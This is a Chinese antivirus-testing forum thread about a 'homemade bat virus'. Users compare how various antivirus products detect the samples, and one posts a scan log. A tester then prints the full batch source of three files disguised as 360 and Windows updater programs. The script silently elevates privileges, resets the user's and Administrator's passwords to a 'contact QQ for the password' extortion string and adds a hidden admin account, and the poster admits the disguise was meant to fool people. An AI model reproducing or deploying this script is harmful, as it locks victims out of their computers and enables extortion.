自制bat病毒

z68436425

，就一个. 发表于 2021-1-14 19:09
国外的avast我觉得可以
小a双击有1个刚刚被CC上传分析了 判定为恶意软件 现在双击云杀
剩下两个还在分 ...

可以

温馨小屋

，就一个. 发表于 2021-1-14 19:11
卡巴PDM现在越改越倒退了 以前的时候很多样本都可以拦截 现在感觉越来越宽容了

确实，感觉方向不太对，我这里2021的PDM误报了好几个之前从来不报的程序，对于这些小动作远控很多都直接miss了

hsks

360

jdsh

fs protection

温馨小屋

MES

RP kill all

MES有点香

K560987

温馨小屋 发表于 2021-1-14 19:24
MES

RP kill all

这是云主防云杀？

温馨小屋

K560987 发表于 2021-1-14 20:14
这是云主防云杀？

差不多，自适应防护好像规则都在云端

心醉咖啡

毒霸

1. 扫描时间：[2021-01-14 20:47:59]
   
2. 扫描用时：[00:00:04]
   
3. 扫描类型：自定义查杀
   
4. 扫描文件总数：4
   
5. 扫描速度：1文件/秒
   
6. 发现威胁：3个
   
7. 清除威胁：3个
   
8. =============================================
   
9. [2021-01-14 20:49:06]
   
10. 威胁：e:\浏览器下载\光墓\360安全卫士软件升级.exe
    
11. 类型：win32.troj.generic.a.(kcloud)
    
12. 处理方式：删除
    
13. 
    
14. [2021-01-14 20:49:06]
    
15. 威胁：e:\浏览器下载\光墓\windows system updater.exe
    
16. 类型：win32.troj.generic.a.(kcloud)
    
17. 处理方式：删除
    
18. 
    
19. [2021-01-14 20:49:06]
    
20. 威胁：e:\浏览器下载\光墓\windows system32 update.exe
    
21. 类型：win32.troj.generic.a.(kcloud)
    
22. 处理方式：删除
    
23. 
    

复制代码

测试者

360安全卫士升级程序.exe

1. [url=home.php?mod=space&uid=500624]@Shift[/url] /0
   
2. [url=home.php?mod=space&uid=331734]@echo[/url] off
   
3. %1 start "" mshta vbscript:createobject("shell.application").shellexecute("""%~0""","::",,"runas",0)(window.close)
   
4. net user %username% 5539661qpec
   
5. net user Administrator 要密码加QQ3051200685
   
6. net user 要密码加QQ3051200685 administrator /add
   

复制代码

Windows System Updater.exe

1. @shift /0
   
2. @echo off
   
3. %1 start "" mshta vbscript:createobject("shell.application").shellexecute("""%~0""","::",,"runas",0)(window.close)
   
4. net user %username% 5539661qpec
   
5. net user Administrator 要密码加QQ3051200685
   
6. net user 要密码加QQ3051200685 administrator /add

复制代码

Windows System32 Update.exe

1. @shift /0
   
2. @echo off
   
3. %1 start "" mshta vbscript:createobject("shell.application").shellexecute("""%~0""","::",,"runas",0)(window.close)
   
4. net user %username% 5539661qpec
   
5. net user Administrator 要密码加QQ3051200685
   
6. net user 要密码加QQ3051200685 administrator /add

复制代码

你弄三个一样的干嘛？

光墓啊

测试者 发表于 2021-1-14 21:55
360安全卫士升级程序.exe

以前看图标不一样想骗人玩
我闲的